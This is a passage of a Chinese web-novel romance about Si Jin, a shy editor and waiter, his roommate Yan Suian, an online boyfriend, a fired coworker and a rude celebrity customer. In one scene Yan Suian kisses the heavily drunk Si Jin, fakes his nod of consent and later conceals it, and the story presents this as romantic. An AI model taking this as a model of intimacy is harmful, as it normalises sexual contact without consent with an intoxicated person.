司谨却先一步抬起了脑袋,有点迷糊地看着他:“困。” 声音软软的,因为醉意侵袭的缘故有些大舌头,显得特别可爱。 燕绥安喉结滚动一下,想避开他的视线,又有点舍不得。 “给你擦擦脸就睡觉。” 司谨乖乖点头,可是被他放下了,却还是下意识依偎在他怀里,脑袋轻轻搁着。 “好晕啊。” “喝这么多能不晕吗?”燕绥安没好气说了句,“我给你倒点水,喝了再睡。” 可司谨却小声嘟囔:“我要刷牙,要洗澡。” “喝了酒还洗什么澡?” “臭……” 燕绥安嗅了嗅他身上,只是有很淡的酒味,并不难闻。 “换身衣服就好了。” 可听见他不让,司谨却扭头朝着洗手间的方向看去,脚步虚浮往外走一步,居然是要自己去洗澡的架势。 燕绥安忙抓住他,无奈妥协:“刷个牙洗个脸就好,澡就算了,我给你拿睡衣换上好不好?” 他是真怕自己去倒水的功夫这人就把自己泡浴室里冲澡了。 “好吧。” 见他答应,燕绥安把人带进浴室,给他挤了牙膏开了热水,看见他慢吞吞站在洗手池前面刷牙,这才放心去外头给他拿衣服了。 等他回来,司谨已经把自己的脸也洗干净了,看见他手上拿的衣服,下意识就开始脱身上的脏衣服。 燕绥安呼吸重了重,避开目光给他递衣服,等人换好,他出了浴室,止不住的深吸气。 “好了,喝点水就去睡觉,明天还要上班吧。” 司谨没有回答这个问题,端着水杯咕噜咕噜喝完,然后眼巴巴盯着他。 “睡觉。”燕绥安把水杯拿走,带着人回了房间。 屋子里被他提前开好了暖气,靠近了床就能闻见一股独属于司谨身上的淡淡香气。 燕绥安忍不住动了动鼻子。 司谨脱掉鞋子上床,习惯性俯身去拍拍自己的枕头,等坐好了,燕绥安俯身给他盖被子,他却忽然抓住了对方的手腕。 燕绥安疑惑。 “你呢?”司谨眨眨眼睛,仿佛很困惑,拍了拍身边的位置。 这邀请的意思不要太明显,燕绥安瞬间有种血气上涌的感觉,可更多的却是不满。 “是不是谁在这你都这么说?” 他反手握住司谨的手腕,触到软乎乎光滑皮肤下面的腕骨,呼吸更重了。 司谨茫然看着他,没有说话。 他疑惑的时候下意识微张嘴唇,刚喝过水的唇瓣柔软湿润,带着嫣红的色泽,让人有种控制不住的冲动。 燕绥安下颚绷紧,凑近他:“说,我是谁?” 司谨皱皱眉头,好半天才说:“随便。” 似乎是很不喜欢这个网名,吐出口的时候还有点嫌弃的意思。 燕绥安一怔,可却还不满足。 “那燕绥安呢?” “……”司谨小脸一垮,也不知道想到什么,“不喜欢。” “为什么?” 燕绥安有点生气,明明知道喝醉的人都只是胡言乱语,可还是忍不住吃起自己的醋来。 “我怎么了?” “室友。” “只是室友?就这么简单,连朋友都不算?”燕绥安一怔,狭长眼眸紧接着眯起:“那随便又是谁?” “老公……” 语气有些迟疑,可燕绥安呼吸却猛地一滞,心中掀起一阵狂喜,抑制不住胸膛中汹涌猛烈的冲动。 司谨却还没有意识到什么,抬起眼看着他,很认真的样子,红润的嘴唇说话间开合:“是随便自己说的,唔……” 话还未说完,燕绥安猛地扑过去,捧着他的脸,又急又重地吻上去。 好香、好好亲。 嘴唇软乎乎的,像果冻一样,吮一吮还能尝到微甜的薄荷牙膏气息,伴随着发丝上的淡淡酒气,叫燕绥安感觉自己好像也有些醉了。 手指窜入柔软的发间鬓角,指腹摩挲光滑柔嫩的侧颈,司谨发出断断续续的细细哼叫,却没有半点要推距的意思。 燕绥安呼吸急促,简直想把人直接吃下去。 “不准让别人对你这么做,听见没有?不准讨厌我,不准只把我当合租室友!” 司谨脑袋晕乎乎的,根本没有听清楚他在说什么,也没办法做出回应。 嘴巴被咬到发红,他的眼角也湿了,很可怜的样子。 燕绥安凶完又心疼了,俯身轻轻吻了吻他的嘴唇和眼角,将脸埋进他的脖颈,重重嗅他身上好闻的味道,痴迷到不想离开。 “要慢慢接受我,知道吗?燕绥安也是很好的。” 他说完,捧着司谨的脸,轻轻上下点了点,这样就像是司谨自己点头答应了一样。 “知道了就好,以后少喝酒,要是对别人这样,我真的会生气的。” 时间已经不早了,他虽然有些舍不得,但也知道不该继续折腾司谨,便给人盖好被子离开了房间- 第二天司谨中午才醒,刚睁开眼就感觉整个脑袋要炸开了一样,太阳穴泛开尖锐的刺痛。 昨天的记忆逐渐回笼,却只截止到见到燕绥安的时候,之后便是一片空白。 司谨的小脸止不住苍白,扶着脑袋艰难坐起身,看了眼时间发现又该去工作了,心情又垮了。 昨晚没有洗澡,他收拾完自己,站在镜子前刷牙,却发现自己的嘴唇红的有点不自然,下唇还有点疼,凑近看才发现破了一道小口子。 是喝醉了不小心咬的吗? 将泡沫吐掉,司谨心情不太好。 可是等他洗漱完从浴室里出去,却看见了更加惊悚的一幕。 原本空荡的餐厅多了个人,燕绥安大冷天只穿着一套黑色的速干运动服,此时正站在餐桌前将买回来的早餐整齐摆开,然后听见声音回过头招呼他。 “来吃早餐。” 司谨简直要觉得自己在做梦了。 “我吗?”他迟疑要不要过去。 燕绥安微蹙眉头:“你在屋子里藏人了?” “没有。” 司谨磕磕巴巴说完,赶紧过去帮他拆豆浆的包装,看着桌上摆了一大堆,有点惊讶。 “这些我们两个好像吃不完吧。” 燕绥安不甚在意道:“不用管,吃不完我带走。” 是留着中午吃?还是丢掉? 司谨心底猜测着,却不敢问出声,乖乖在他对面坐下,尽力多吃了一些。 与此同时,他忍不住频频朝着对面看去,脑海中还回荡着昨夜那些零碎的记忆画面。 “昨天晚上……”他说到这里顿了顿,有意看了燕绥安一眼,看见对方吃早餐的动作很明显顿了顿,“是你带我回来的吗?” 燕绥安脸上没有太多表情,反问道:“你什么都不记得了?” 司谨困惑地看着他,片刻后还是摇摇头:“我只记得学长还有你忽然出现了,之后学长去哪里了?” 听见这个称呼,燕绥安的脸色沉了沉,不是很高兴的样子。 “学长?你们很熟?” “以前很熟。” 司谨不是很想多说关于谢宇珩的事情,而且他也不理解话题为什么忽然偏到了这里。 好在燕绥安很快回答:“他不知道你住哪,所以我送你回来。” “就这样吗?” “你觉得呢?” 司谨松了口气,吃饱以后抱着豆浆灌了两口,滚烫触及下唇,又泛起一阵刺痛。 他忍不住抬手摸了摸下唇,却见对面的燕绥安正盯着他的动作。 他下意识抿了抿嘴唇,“太干燥,破皮了。” 燕绥安挪开了视线,没有说什么。 吃过早餐司谨同他道过谢,心里头有些愧疚,他前两天还说要帮燕绥安做早饭,结果现在却成了对方主动出去买。 拎着背包准备出门,他站在房门前等了片刻,总算看见燕绥安从房间里出来,忙上前一步。 “你晚上回来吃饭吗?” 燕绥安眯了眯眼,问:“有事吗?” “没有,我只是想说你要是回来吃饭的话,我可以做饭。”司谨有点紧张,想到他平时都是点很贵的餐厅,又心虚起来,“我的厨艺其实还可以,做家常菜的话。” 从前在老家上学的时候,李美花在镇上看店懒得回家,就让他们自己做饭吃。 大姐和二姐放学回来的时候会买一点肉,司谨跟着她们也学了不少,之后除了逢年过节,李美花基本上都不动手,将事情全部交给他们来做。 只是工作以后,司谨自己做饭的机会就变得很少,原先租的房子厨房不是很干净,加上他和室友的关系不太好,所以很少在公用区域待着。 但是这里的厨房很漂亮,工具也都很齐全。 司谨想着,问:“厨房那些锅具是可以用的吗?是不是房东的?” 燕绥安似乎想说什么,但最后只说:“可以用,是我的。” 他说完,又补充:“我晚上回来吃,但可能晚点到,你饿了就先吃。” 司谨的眼睛一亮,心说自己肯定不会这么做,但还是点了点头。 “好,等你下班出发的时候给我发个消息。” “嗯。” 拎着包出门,司谨走进电梯里,抬头看着下坠的数字,轻快之余却有种恍惚的错觉,有一些很奇怪的画面在脑海里浮现,是他靠在一个人的怀里,强撑着抵挡大脑中的眩晕抬头去看对方的脸。 其他的都记不清楚了,只记得那双眼睛狭长深黑,睫毛平直,看起来是很不好招惹的样子,但是在那种不清醒的状态下,却莫名呈现出一种温柔来。 觉得有些奇怪,但那画面转瞬即逝,他索性也没放在心上。 抵达公司打了卡,他刚给自己装了杯热水坐下,一抬头便看见谢子奇走进大门。 “早啊自启。” 谢子奇并没有跟往常一样热情跟同事打招呼,反而只是低着头含糊点了点,接着便加快脚步回到了位置上。 司谨抬头喝水,目光不自觉跟他对上,被对方眼下的青黑给吓了一跳。 谢子奇看起来像是一晚上没有休息好,走路还一瘸一拐的,跟他对上视线,居然主动将目光给转开,还显得有些慌乱似的。 他刚坐下,边上的编辑就注意到了他的不对劲。 “子奇哥,你脚怎么回事?扭着了?” 谢子奇的脸色阴沉,随口说:“昨晚喝醉了,回去的时候不小心摔了一跤。” 此话一出,其他同事便哈哈大笑,开始讨论起了他昨晚的模样。 “自启那副架势,我以为他是海量呢,没想到自己先不行了。” 司谨听着那边的动静,没有参与话题,打开电脑将简单的工作消息回复完,听见有人传话说一会儿开会,才开始收拾需要的东西。 会议结束,谢子奇被总编叫走谈话,司谨回到位置上,抽空点开手机看了眼访心的消息。 很奇怪的是,昨晚随便居然没有给他发很多消息,只是在他差不多吃完饭的点给他发了两条消息,询问他是否结束聚会。 北极生活的小熊猫:【中午好(*^▽^*)】 北极生活的小熊猫:【昨天晚上喝醉了,还好被同事带回去,今天早上起来还有一点头晕】 对方没有回复,司谨猜测他是在工作,便打开微信,在聊天框滑动找到了谢宇珩的账号。 【学长,谢谢你昨晚替我出头,如果这周末你有时间的话,我请你吃饭吧】 谢宇珩几乎是秒回。 【昨晚的事情你都还记得吗?】 司谨微怔,回忆片刻。 他还记得谢宇珩和谢子奇说话的画面,之后……燕绥安就出现了,好像还给了谢子奇一脚。 那些零碎的画面忽然浮现在脑海中,让司谨有些诧异。 原来谢子奇的脚受伤,是因为燕绥安,难怪谢子奇今天一来上班就不对劲,还一副不敢看他的样子。 心情变得有些复杂,他既觉得好笑,又忍不住担忧,毕竟他和谢子奇公事一年,最是清楚这人的秉性,根本就是个不讲理的无赖。 甩甩脑袋决定不再多想,他低头回复。 【记得的】 消息发出去以后,谢宇珩的名字一会儿变成正在输入中,一会儿又变回原先的备注。 司谨盯着看了半天,觉得奇怪。 【好,我周六有时间,晚上一起吃火锅吧,你不是最喜欢吃辣】 司谨松口气,连忙答应下来,然后结束了话题。 关上手机,他思考片刻扭头问同事推荐好吃的火锅店,将对方提到的几家都记录了下来。 中午的休息时间,他将火锅店定好,位置发给了谢宇珩。 做完这些他刚松口气,屏幕上方就弹出了访心的来电请求。 有些惊讶,他本想直接挂断,可是看了眼周围都在伸懒腰的同事,最后还是又拿着手机去了暂时没人的楼道。 “喂?”司谨接通电话,说话都很小心。 “宝宝。”随便的声音还是很温柔磁性,“刚结束午休吗?” 司谨下意识点点头,做完这个动作反应过来对面是看不见的,才又说:“对,怎么啦,你找我有事吗?” 随便叹口气,似乎是靠在了座椅上。 “太累了,想到要工作就很烦,来找宝宝充电。” 司谨有些不自在,小声问:“最近很忙吗?” “有点。” “那……要不你快一点忙完呢?”司谨不知道该怎么安慰他,只能向他提供自己的办法,“越拖就越不想做了,那样会更累的,早一点完成工作的话,多出来的时间就可以休息。” 他从前并不觉得自己是个效率很高的人,只是某一天同事发现他做什么事情都会提前开始准备,惊讶地夸了他许多次。 如果是面对别人,可能他是不敢这么自恋随便分享的,但如果是随便的话,好像丢脸也没有什么关系。 对面的随便笑了笑,说:“好吧,那宝宝鼓励我一下。” 司谨本能意识到不是那么简单,但还是假装没有懂,说:“加油。” 果不其然,对面安静了两秒。 紧接着他的语气变得幽怨:“宝宝,你故意的吧。” 司谨忍不住笑了声,片刻后还是拗不过,小声求饶:“可是我真的觉得那样叫好奇怪。” “叫声老公这么难。”随便叹了口气,很不高兴。 司谨心底忐忑起来,垂着眼睛用空闲的手在楼梯扶栏上抠了抠,说:“换一个好不好?” 随便轻哼一声,似乎在思考。 时间一分一秒过去,正当司谨听着对面传来的清浅呼吸声,怀疑随便是不是都要睡着的时候,对方才总算开了口。 “宝宝,你到现在还没有告诉我你的名字呢。” 司谨下意识接话:“你也没有说呀。” “既然如此,宝宝告诉我你的名字好不好?” 司谨犹豫片刻,正想说话。 “宝宝发消息告诉我吧,我这里有点事情。” “好。” 司谨松口气,挂断电话回到工位上,看着聊天框犹豫了很久。 随便:【宝宝?】 催促的消息发来,司谨舒口气打字。 北极生活的小熊猫:【我叫施瑾】 浮动着水光的头像代表随便正在聊天框内,可是司谨却很久都没有得到回复。 周围的同事都陆续从茶水间和洗手间回来工作,他也只能打开电脑,正准备把手机合上,却看见底下弹出一条新消息。 随便:【我叫张三】 北极生活的小熊猫:【……】 之后无论司谨怎么质疑,随便都坚定表示这就是他的名字。 编也要编个像样的吧。 反正司谨不信这是他的名字,不过随便随口胡说的那些话看起来很搞笑,倒是也不让他觉得生气,反正他说的也不是真实的名字。 “……” 因为要回家给燕绥安做饭,司谨这天下班是前所未有的积极,正好女同事也要去买菜回家,他们便一同去了附近的商超。 拎着一大袋东西回了星云城,坐好炒菜准备,燕绥安也发来了结束工作回家的消息。 差不多等司谨做完饭,便听见外头传来了开门声。 身后传来脚步声,司谨费劲将最后一盘青菜盛出来。 “可以吃饭了。” “嗯。” 燕绥安一开口,司谨被吓了一跳,下意识抬头转身,才发觉燕绥安站在他身后,两人之间的距离很近。 燕绥安已经将外套脱了,这会儿洗了手将菜端出去,进来看见他正将锅放在清洗池里。 “放着,我一会洗。” 司谨闻言放下,正想去洗碗,又被他给抢先了。 “走吧。” 司谨做的菜式很简单,辣椒炒肉和干锅虾,加一道清炒小青菜,一份莲藕排骨汤。 “我用砂锅炖的,时间不够长,但是味道应该还可以。” 燕绥安的表情很放松,抬手盛了一碗汤,当司谨准备起身给自己装的时候,却见他将汤碗推了过来。 “辛苦了,卖相很不错。” 司谨看着他将自己面前的空碗拿走,心中泛起暖意。 “谢谢。” 燕绥安吃饭的时候话不多,尝过菜以后夸赞了几句,之后便只是安安静静吃饭。 司谨很少这样跟一个人面对这面安静吃饭,他忍不住抬起头去打量燕绥安的动作,发觉对方吃饭的动作很斯文,虽然速度挺快的,但是一点也不显得急躁。 吃过饭,燕绥安主动起身收拾碗筷。 司谨洗干净手准备回房间,无意间瞥见燕绥安俯身将盘子放进洗碗机里的模样,莫名就觉得这样的生活很不错。 是他几乎没怎么感受到过的温馨,甚至还觉得有些幸福。 回到房间,他习惯性打开访心,可是随便却不在线。 几分钟前的消息还挂在对话框,随便明显是不太高兴,面对司谨的质疑始终没有退缩,还反问他是不是嫌弃自己。 看着这些幼稚的聊天记录,司谨止不住地想笑。 没过多久,房间外头传来了关门声,是燕绥安收拾完进房间了。 司谨起身去洗漱,再回来就收到了随便的消息。 随便:【宝宝是不是嫌弃我名字难听?】 随便:【那你给我起一个吧】 司谨被他戳中笑点。 北极生活的小熊猫:【没有的,名字不重要】 他选择安慰。 随便:【如果老婆愿意把真正的名字告诉我,我就不叫张三了】 司谨心尖一颤。 【你怎么知道我说的不是真的?】 随便:【猜的】 随便:【虽然平时傻傻的,但还挺有戒心】 司谨有些怀疑他的话,但逼问似乎也不合适。 他想了想,认真打字回复。 【这个的确不是我的真实名字,但是音节差不多,你可以这样叫我】 随便:【为什么不能是真实名字?宝宝不信任我?】 司谨下意识回复不是,可是他也不知道要怎么跟随便解释。 司谨的谨,是谨言慎行、谨小慎微的谨。 司志义和李美花都不是多有文化的人,生了司鹏后觉得大儿子的性格过分活泼调皮,一股劲想再拼个男孩,千辛万苦得到,却又希望他能够是谨慎小心的性格,能够心甘情愿帮着大大咧咧的大哥,就像司淑芳和司淑英那样,一心为了这个大家奉献。 家里需要一个聪明的人打点事情,司谨长大以后倒真是应了这个名字,在日复一日的训斥责骂下养成了内向拘谨的性格,却也没能符合他们的心意。 从小到大,许多人说过司谨的名字好听,可他却从来不喜欢。 如果可以的话,他不奢求做被父母捧在手心中的美玉,只希望不作为一个附属品长大,最好也不要出生在这样的家庭中。 现实中的出生无法改变,但他可以在网络上做自己想做的人。 “所以……我其实很喜欢这个名字。” 回过神来,长语音已经发了过去。 房间里的窗户没关上,细微的冷风顺着窗缝往屋子里钻,司谨起身去关,还未放下的手机叮的一声。 点开随便发来的语音,熟悉的声线在夜风吹拂下更显温柔。 “知道了,谨宝。”- 周五下班,司谨算着明天晚上要请谢宇珩吃饭的安排,还没收拾完桌子,就被身边的同事推了推。 “诶,谢子奇怎么回事?” 司谨一怔,朝着那方向看过去,发觉谢子奇刚从外面回来,此时脸色阴沉,正将桌上属于自己的东西都收进箱子里。 从前谢子奇在办公室里头是最高调的,桌上养了不少多肉盆栽,就连键盘都是自己带来的。 “他该不会是要离职吧?” 司谨也猜到了这一点,但他知道谢子奇在风浪已经工作好几年了,为什么会忽然辞职呢? 和谢子奇关系好的编辑凑过去和他说话,谢子奇的脸色始终阴沉,到最后也不知道其他人说了什么,他面露不屑。 “反正不工作也不会饿死,正好去旅旅游。” 安慰他的编辑脸色一僵,只得配合着点头:“也是,你家条件好,失业也不是什么大事。” 谢子奇将东西砸进箱子里,没多久就抱着箱子背上包,临走前冷冷瞥了对面的司谨一眼,继而大步出了门。 他一走,办公室里头就炸开了锅。 “怎么回事啊?” “你们下午没路过总编办公室吗?他在里头被骂的狗血淋头,前段时间签的那几本抄袭书一直发酵,这周又出了好几次错,跟几个作者吵起来了,还在网上发人家没过审的稿子,被发帖曝光了。” “真的假的?” “你们最近没感觉他很不对劲吗?跟变了个人似的,你们自己搜那些帖子,点赞都过万,上面说对网站形象造成不良影响,本来前两个月他的业绩也垫底,所以就被辞了。” “啧,走了也好。” 编辑部里,和谢子奇关系好的都已经追上去了,这会儿围在这的都对他印象不太好,所以讨论起来也没了顾忌。 司谨听完他们的讨论,心情起初并没有多少变化,但是等出了门,就忍不住跟随便发语音说这件事。 “那个很讨厌的同事今天离职了!” 随便几乎是秒回。 “真好,快滚不送,宝宝以后可以认真工作了。” 司谨想了想以后都不会在公司见到谢子奇,心里头又高兴了不少。 这种喜悦感一直维持到了第二天。 中午到了一粟,他将老家带的特产分了前台彭露和领班程姐各一份,被看见便又遭到了其他正式员工的嘲笑。 “别看司谨表面呆板,实际上也挺有心机的,带礼物也知道给领班一份,是怕以后兼职的多了没他位置吧。” “你懂什么?人家这叫精明,平时假装自己傻不拉几的,就没人给他派活,多自在。” 司谨换好衣服穿过休息室,听见几人在里头讨论自己。 他只往里头看了一眼,那些人察觉到他的存在齐齐噤声,不太自然地咳嗽两声。 司谨没理会他们,出去外面帮忙了。 “程姐,今天我负责哪里?” 程姐刚放下对讲机,看见他换好衣服松口气,忙道:“有个外送的单子这会儿没人,你去送一下,就在对面的酒店,这是个老客人了,在我们这订了一周的餐,估计是来旅游的。” “好。” 司谨答应下来,去餐台取外送的盒子。 只是等他披上外送餐员的外套拿着保温袋正要出门时,程姐又喊住了他。 “小司,这个客人他脾气比较……刁钻,所以你尽量服务好一些,别让他给餐厅差评。” 司谨认真点点头:“好,我知道了程姐。” “去吧。” 程姐是知道他服务向来不错的,这种时候还嘱咐这么一句,那肯定是这个客人很难搞。 司谨想着,将手上的盒子抱着,生怕把汤汁给晃出来了。 进入酒店找到相应的房间号,司谨轻轻叩响房门,后退半步等待开门。 咔嚓一声,门被打开一条缝,里头传出含糊的声音。 “进来吧。” 司谨犹豫片刻,推门进去就看见穿着浴袍的男人刚在沙发上躺下,脸上还敷着一张面膜。 “尊敬的客人您好,我是一粟餐厅的外送员……” 简单介绍过餐品,男人撇撇嘴:“话真多,赶紧把餐具整理一下,我都快饿死了。” 司谨答应下来,去套件的餐厅将餐品和餐具摆开。 全程他都戴着手套,遵守着外包装不落桌的规定,餐品按照方便单人用餐的顺序整齐摆开。 他自认为没有出错,但等男人去浴室摘了面膜出来,却还是挑刺道:“你这菜怎么放辣椒了?我不是备注不要辣吗?” 司谨微怔,忙道:“先生不好意思,这只是点缀用的彩椒,吃起来是没有辛辣味道的,如果您不喜欢的话,我把它挑出来。” “挑什么挑啊?一会儿被你搅的稀巴烂,都不好看了。” 男人说着往位置上一坐,将手机相机点开,对着菜拍了两张照片,却不满意。 “你帮我把这桌菜拍一拍,把我也一起拍进去。” 司谨不太会拍照,忐忑接过他的手机,看着面对镜头露出完美营业笑容的男人,忽然发现这人长得很好看,而且还有点眼熟。 好像在哪见过。 拍了几张,他将手机送回去,男人撇撇嘴:“你的拍照技术也太差了,不过勉强还能用,帮我把牛排处理好吧,切小一点。” “好的。” 司谨松口气,拿起刀叉。 男人低着头给自己p图,似乎一直都不满意,不停发出不耐烦的啧声。 等司谨切好,还没来得及说话,男人的手机便响了。 他接起电话,还是那副不高兴的语气,但之后不知听见什么,眼睛忽然亮了。 “真的?今晚燕总也来。” 司谨耳尖动了动,莫名想到一个某个同姓的室友。 第23章 挂断电话后,男人的心情肉眼可见好了起来,也没继续对司谨冷嘲热讽。 吃完饭嘱咐他自己把桌子给收拾好,便自顾自进了房间,像是丝毫不在意外面还有个陌生人。 司谨将垃圾处理好拎着离开,等出了酒店门才长长舒出一口气。 难怪程姐都要那样提醒他,这位客人的脾气的确是不太好。 好在除了这个客人以外,之后的工作对接客人都很正常。 中午的高峰期过去,司谨去休息间换衣服准备前往和谢宇珩约好的火锅店附近,出去的时候正巧遇见彭露和后厨的员工在后门聊天。 “就是那个客人啊,刚还给了差评,真……诶?司谨下班了。” 司谨冲她们笑笑:“你们说的是谁啊?” 一粟的服务生都经过专业训练,厨师也是获过奖的,平时的差评很少,每次多了差评店里都要特意开会议讨论。 司谨心中正浮上个名字,彭露就证实了他的猜想。 “就是你今天送的那餐啊。” 司谨皱皱眉头,不太理解:“为什么差评?我走的时候他看起来还挺高兴的,吃饭的时候也没有说味道不好。” “他说菜里有辣椒,辣着他了。”彭露一提起就无语,止不住翻白眼,“菜品介绍页面都写了彩椒是装饰品,我吃十斤也感觉不到半点辣味!” 没想到兜来兜去还是这个原因,司谨叹口气:“那可能他真的不喜欢椒类。” “什么啊?”彭露一下子激动起来,“我跟你说,你是工作日不在这,前几天他也在我们这点餐,每天不是差评就是打电话,昨天他差点因为服务生离开之前没有跟他说再见差评,还是程姐亲自带着礼物上门去道歉才让他撤销的。” 司谨想到那男人的模样,总觉得奇怪。 “那确实好奇怪。” 彭露吐槽完摆摆手,说:“这种人很多的,喜欢把生活里面的不满足发泄到别人身上,说不准他还等着我们明天又上门去道歉呢。” 司谨猜测着如果真是那样的话应该也是自己去,心底一下子紧张起来,但当着彭露的面还是没有多说什么,他看得出来店里的人对这位客人已经有很大意见。 “不过,我听说那人是个明星,前几天小李他们去送餐,说他长得特别像那个谁……” 前往火锅店的路上,司谨闲着没事干点开手机搜索了彭露说的那个名字,弹出来的照片的确是他今天在酒店里看见的那个人。 是个选秀出道的小明星,前段时间还演过一部很火的玄幻剧配角,网上的讨论度还挺高的。 “宋阅……真的是明星啊。” 司谨有些惊讶,点开他的个人简介看了看,心中有种说不出来的滋味。 宋阅的粉丝都说他是个很温柔的人,待人真诚脾气也很好,这次来海城是有工作,往下滑还有宋阅落地海城时的接机视频。 他穿得时尚宛若走在T台上,接过粉丝礼物时面带笑意,跟司谨在酒店里看见的那人完全不同。 除了脸是一样的。 不过很快司谨便没心思再去想了,他先去火锅店取了号码等位,然后去楼下的商场逛了逛,准备买点可以冷冻的食材回去放着。 等到了约定好的时间,谢宇珩迟迟没有来,周围的客人逐渐多了,司谨有些局促,坐在外面继续等候。 刚找出手机点开,还没有退出宋阅的搜索简介页面,身后就忽然出现一道声音。 “你喜欢这个明星?” 司谨愣一下抬头,看见谢宇珩站在边上,正冲着他笑。 “不好意思,今天加班耽误时间,来晚了。” 司谨松口气,忙起身:“没关系的,我刚才和别人换号了,现在正好可以进去。” 他没有一点要生气的意思。 谢宇珩点点头跟着他一起进去,等落座了,才意味深长地看向对面正在脱外套的司谨。 “我记得你以前跟别人说句话都紧张,现在开始工作,社交能力倒是比以前强了不少。” 司谨被他说得不好意思:“是服务生帮忙换的号。” 谢宇珩笑笑,扫了码开始点菜。 “你好像变了很多,以前每天除了参加学校活动就是兼职,现在还开始追星了。” 又回到这个话题,司谨忙解释:“不是追星,这个是我们餐厅的客人。” “餐厅?”谢宇珩微微皱眉。 “嗯,我周末的时候会在餐厅兼职,今天遇见一个外送的客人有点眼熟,听说是明星就搜了一下。” 闻言,谢宇珩笑说:“好吧,我还想着如果你喜欢他的话,可以带你和他见一面呢。” “嗯?” “宋阅来海城,是跟我们公司的游戏联名,明晚还有一场直播。” 司谨不太懂这些,只好点点头:“原来是这样,那他什么时候走啊?” 他问完又不太好意思,但他今天听见餐厅的员工都在吐槽,还是忍不住多嘴问这么一句。 “不太清楚,工作的话是明晚就结束了的。” “这样。” 司谨没有再聊这个话题。 中间的火锅咕噜噜翻滚着,两人都是能吃辣的,所以点的是全辣锅,一桌子菜显得很丰盛。 司谨吃到后面嘴唇都有些发麻,可是却停不下来,这家火锅店的锅底味道比他想象中要更好。 “司谨。” 谢宇珩忽然喊他。 “嗯?” “我原先怎么不知道你喜欢男的,你是不是不太够意思,这都瞒着我。”谢宇珩似笑非笑。 司谨听完却是呆住了,没太理解他在说什么。 “我没有啊。” 他一下子甚至不知道要怎么解释,但是谢宇珩却继续说了下去。 “你男朋友都告诉我了,不用继续瞒,我不歧视同性恋。” 司谨放下筷子喝了一口橙汁,混沌的大脑总算清醒了些,他问:“我男朋友是谁?” 说完看见谢宇珩明显错愕的神情,又后知后觉补充:“我真的不知道。” 要说他不是单身,也只是暂时的和随便网恋,但是这件事情他只告诉了宋晓西,难不成是宋晓西告诉他的? 但是司谨知道宋晓西的性格,如果有人向他打听这种问题,宋晓西是肯定会先征求他同意的。 那么,谢宇珩说的男朋友又是谁呢? 谢宇珩似乎也被这个话题给卡住了,放下筷子,好半天才说:“就是那天晚上你室友说的,他说你们是情侣。” 司谨不禁睁大眼睛,感觉自己产生了幻听。 “怎么可能?” 燕绥安怎么可能讲这种话呢? 谢宇珩揉了揉眉心,忽然笑了:“这么说,他只是在开玩笑而已。” “应该吧。”司谨觉得奇怪。 “那就好,我听见的时候还有点担心你呢。”谢宇珩似乎松了口气,接着又用关切的眼神看向他,“你这么单纯,一会儿被人给骗了。” 司谨还是不太习惯他用这种语气跟自己说话,但这会儿也没有多说什么。 “一会我送你回家吧。”谢宇珩说。 司谨本想拒绝,可谢宇珩却没有给他机会。 “可别拒绝我,这个点地铁也挤,正好我前段时间刚买了新车,开一开试试手。” 司谨只好答应。 吃完一顿火锅,谢宇珩顺路送他回家,回忆了一路的大学生活。 “当初还总让你干着干那,幸亏你脾气好,换做别人早就生气了。” 司谨其实不太想要提起那段时光,但面对他还是笑笑:“没关系的,我刚入学的时候什么都不懂,还要多亏学长给我提供帮助。” 最开始的时候,他是真心觉得谢宇珩人好,所以在那之后也是由衷感激,才会心甘情愿为谢宇珩做这么多。 别人都说他脑子不好用,可是他心中其实一直都有自己的衡量,他不喜欢欠别人的恩情。 “对了,你当初那些室友,毕业以后还有联系吗?”谢宇珩提起这个,语气中带了点讽刺,“我可记得当初你和两个室友的关系都不太好。” 司谨看了他一眼,回答:“刚毕业的时候跟他们吃过饭,现在很少聊天了。” 其实宿舍长是个脾气很好的人,他们现在偶尔还会发消息,但是他觉得没有必要和谢宇珩说。 聊着到了星云城,谢宇珩停下车,不禁露出怀疑的表情,他看了看导航位置,确定真的没开错,才惊讶地看向身边的司谨。 “你现在住这?” 司谨早就习惯了别人的这种眼神,此时只是点点头:“对,跟别人合租的。” 听见这话,谢宇珩似乎松了口气。 “这里位置挺好的,你们是几个人一起合租?” 司谨犹豫片刻,还是说了实话:“两个人。” “你和室友平时关系应该不错吧。” 司谨总觉得他话里有话,决定说说清楚:“我室友应该只是随便说的,他那时候不认识你,希望你不要当真,我和他其实不太熟悉。” 也不知道是不是察觉到了他的不满,谢宇珩没有再多问。 原本司谨想回到家问问燕绥安这件事情,可是回去以后却发现对方还没有回来,屋子里面一片漆黑- 第二天一早,司谨接到餐厅的消息,是程姐让他今天早些过去。 起床以后也没撞见燕绥安出来,他不敢去敲对面的门,只好又蔫蔫地出门去工作了。 到了餐厅,他衣服还没还完,彭露和另一个来换班的前台就挤了进来,跟其他店员一起开始又讨论起了对面酒店的客人。 “又遭投诉了?” “可不是,一次比一次奇葩,说我们这的牛奶不够热,那标签上不是都写了温牛奶吗?” “这客人真是难伺候,听说中午还要过来吃饭。” “不是吧?还要来店里?” 司谨系上纽扣,对着镜子整理着头发,看见其他人唉声叹气的模样。 “他早上也点餐了吗?” “是啊,我们这早上九点本来就只开一个窗口,他要求还那么多。” 有人说完,彭露又凑了过来,说:“小李昨晚和今早都给他送餐,让他跟你们说一个劲爆八卦。” “什么?” 司谨也有些好奇,靠在柜门前看着他们讨论。 服务生小李看了眼掩着的门,小声说:“昨晚我去送餐的时候,酒店里头除了他还有个男人,两个人澡都洗了穿着浴袍,看着关系不简单。” “咦?所以他是喜欢男的?” “谁知道呢?我一开始以为是朋友什么的,结果你们知道吗?”小李越说越激动,“今天早上我去送餐的时候看见那男的还在,吃饭的时候那男的还黏着对面的客人,身上还有那种痕迹,你们懂吧?” 他说完,休息间内传开一阵起哄声。 “哎哟,可让我们小李大饱眼福了。”刘有意故意道。 小李一副吃了苍蝇的表情:“谁乐意看啊,我可不是同性恋。” 几人讨论的正开心,领班忽然出现在门口,催促几人去工作,这才让他们结束了话题。 司谨跟着一同出去,对这个八卦倒是没有什么好奇心,只是听见宋阅要来店里用餐,他止不住松了口气。 他觉得去酒店服务要更加痛苦,尤其是一个人面对难缠的客人,压力会更大,但如果是在店里的话,还有程姐可以帮忙。 但是等到中午正忙的时候,耳麦中却传来了程姐略显焦急的声音。 “小司过来出餐区,对面酒店的客人预定的堂食忽然换成外送了,你现在送到对面去。” 边上的服务生听见耳麦中的声音,都朝着司谨投来了同情怜悯的目光。 司谨也有些沮丧,转身去了出餐区,看见程姐果然已经在那等着他了。 